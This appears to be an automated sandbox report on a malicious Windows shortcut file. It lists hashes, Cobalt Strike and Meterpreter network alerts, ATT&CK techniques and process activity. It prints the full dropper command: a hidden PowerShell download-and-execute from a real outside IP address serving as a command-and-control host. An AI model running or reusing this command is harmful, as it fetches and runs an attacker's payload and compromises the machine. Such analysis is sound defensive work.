21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20

General

Target

21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20.lnk
Size

1KB
MD5

e3f89049dc5f0065ee4d780f8aef9c04
SHA1

ba5fcbdbd5b71bfc52b8a824bd40c547a7223260
SHA256

21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20
SHA512

a4f8e14e9caa4c32bb5dcd97d3ac4a050ba63172429172de78c145f05e12c4982fcbb4200cf179da254f70dcf3a0587e5898a0df0bb47beec6a1fc1c44b8a5d9

Score

10^/10

suricata

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://120.48.85.228:80/favicon

Signatures

suricata: ET MALWARE Cobalt Strike Beacon Observed
suricata: ET MALWARE Cobalt Strike Beacon Observed
suricata
suricata: ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
suricata: ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
suricata
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

7 4972 powershell.exe
16 4284 powershell.exe
20 4284 powershell.exe
37 4284 powershell.exe
39 4284 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4972 powershell.exe
4972 powershell.exe
4284 powershell.exe
4284 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4972 powershell.exe
Token: SeDebugPrivilege 4284 powershell.exe

flow	pid	process
7	4972	powershell.exe
16	4284	powershell.exe
20	4284	powershell.exe
37	4284	powershell.exe
39	4284	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	cmd.exe

pid	process
4972	powershell.exe
4972	powershell.exe
4284	powershell.exe
4284	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4284	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 4124 wrote to memory of 4972	4124	cmd.exe	powershell.exe
PID 4124 wrote to memory of 4972	4124	cmd.exe	powershell.exe
PID 4972 wrote to memory of 4284	4972	powershell.exe	powershell.exe
PID 4972 wrote to memory of 4284	4972	powershell.exe	powershell.exe
PID 4972 wrote to memory of 4284	4972	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://120.48.85.228:80/favicon'))"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4972

\??\c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4284

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
53KB

MD5
93678e82d776686aa54c42b8a98e6cbc

SHA1
802939dfed99ac74814c4371388b204c5810241d

SHA256
da32a79a8e04cbafb1c5980b3d6225f4705010df5eb45d464cd5bf6b642d7841

SHA512
0b412a1e11c0639d72f6a58c661ecc43da021c010c4d1e66051c5a376ebab287480bbf663345c9bd2a79ec3a35a9788cf04d74d612449f76fe2c87576cd13520

Download Submit
memory/4284-140-0x00000000052F0000-0x0000000005356000-memory.dmp

Filesize
408KB

Download
memory/4284-149-0x00000000062D0000-0x000000000694A000-memory.dmp

Filesize
6.5MB

Download
memory/4284-139-0x0000000005280000-0x00000000052E6000-memory.dmp

Filesize
408KB

Download
memory/4284-148-0x00000000062D0000-0x000000000694A000-memory.dmp

Filesize
6.5MB

Download
memory/4284-135-0x0000000000000000-mapping.dmp

Download
memory/4284-136-0x0000000004470000-0x00000000044A6000-memory.dmp

Filesize
216KB

Download
memory/4284-137-0x0000000004AE0000-0x0000000005108000-memory.dmp

Filesize
6.2MB

Download
memory/4284-138-0x0000000004A50000-0x0000000004A72000-memory.dmp

Filesize
136KB

Download
memory/4284-146-0x00000000062D0000-0x000000000694A000-memory.dmp

Filesize
6.5MB

Download
memory/4284-145-0x00000000062D0000-0x000000000694A000-memory.dmp

Filesize
6.5MB

Download
memory/4284-142-0x0000000006950000-0x0000000006FCA000-memory.dmp

Filesize
6.5MB

Download
memory/4284-141-0x0000000005B40000-0x0000000005B5E000-memory.dmp

Filesize
120KB

Download
memory/4284-143-0x0000000006080000-0x000000000609A000-memory.dmp

Filesize
104KB

Download
memory/4972-144-0x00007FFEACCE0000-0x00007FFEAD7A1000-memory.dmp

Filesize
10.8MB

Download
memory/4972-132-0x00007FFEACCE0000-0x00007FFEAD7A1000-memory.dmp

Filesize
10.8MB

Download
memory/4972-133-0x000001F7FFDD0000-0x000001F7FFF46000-memory.dmp

Filesize
1.5MB

Download
memory/4972-131-0x000001F7FEE80000-0x000001F7FEEA2000-memory.dmp

Filesize
136KB

Download
memory/4972-134-0x000001F800210000-0x000001F80041A000-memory.dmp

Filesize
2.0MB

Download
memory/4972-130-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing